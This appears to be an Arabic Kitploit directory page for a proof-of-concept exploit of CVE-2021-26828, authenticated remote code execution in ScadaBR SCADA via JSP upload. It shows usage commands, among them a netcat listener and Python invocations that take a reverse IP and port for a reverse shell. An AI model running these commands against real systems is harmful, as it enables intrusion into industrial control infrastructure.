Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-26828_ScadaBR_RCE — إثبات المفهوم لاستغلال الثغرة CVE-2021-26828 التي تمكن من تنفيذ الأوامر عن بُعد بعد التحقق على أنظمة ScadaBR SCADA عبر رفع ملفات JSP. يدعم أهداف Windows و Linux مع حمولات reverse shell. | Kitploit
أدوات/GitHubGitHub/hev0x/cve-2021-26828_scadabr_rce
تحليل الثغرات الأمنيةالاستغلالأمن SCADA/ICSاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubhev0x/cve-2021-26828_scadabr_rce

CVE-2021-26828_ScadaBR_RCE

إثبات المفهوم لاستغلال الثغرة CVE-2021-26828 التي تمكن من تنفيذ الأوامر عن بُعد بعد التحقق على أنظمة ScadaBR SCADA عبر رفع ملفات JSP. يدعم أهداف Windows و Linux مع حمولات reverse shell.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
94منذ 5 سنواتلم تتم المراجعة بعد

POC CVE-2021-26828_ScadaBR_RemoteCodeExecution

  • ScadaBR 0.9.1 على Linux وحتى 1.0 و1.12.4CE على Windows يسمح للمستخدمين المصادق عليهم عن بُعد برفع وتنفيذ ملفات JSP عشوائية عبر 'view_edit.shtm' وتنفيذ التعليمات البرمجية عن بُعد.

استخدام الاستغلال

الأوامر:

  • ويندوز: $ sudo python WinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass>

  • لينكس: أولاً، على جهازك المحلي، افتح أي منفذ قبل تنفيذ الاستغلال:

$ sudo nc -vnlp 4444

$ sudo python LinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass> <Reverse_IP> <Reverse_Port>

  • المراجع:

    https://www.exploit-db.com/exploits/49734

    https://www.exploit-db.com/exploits/49735

    https://www.youtube.com/watch?v=k1teIStQr1A

تنزيل الأداة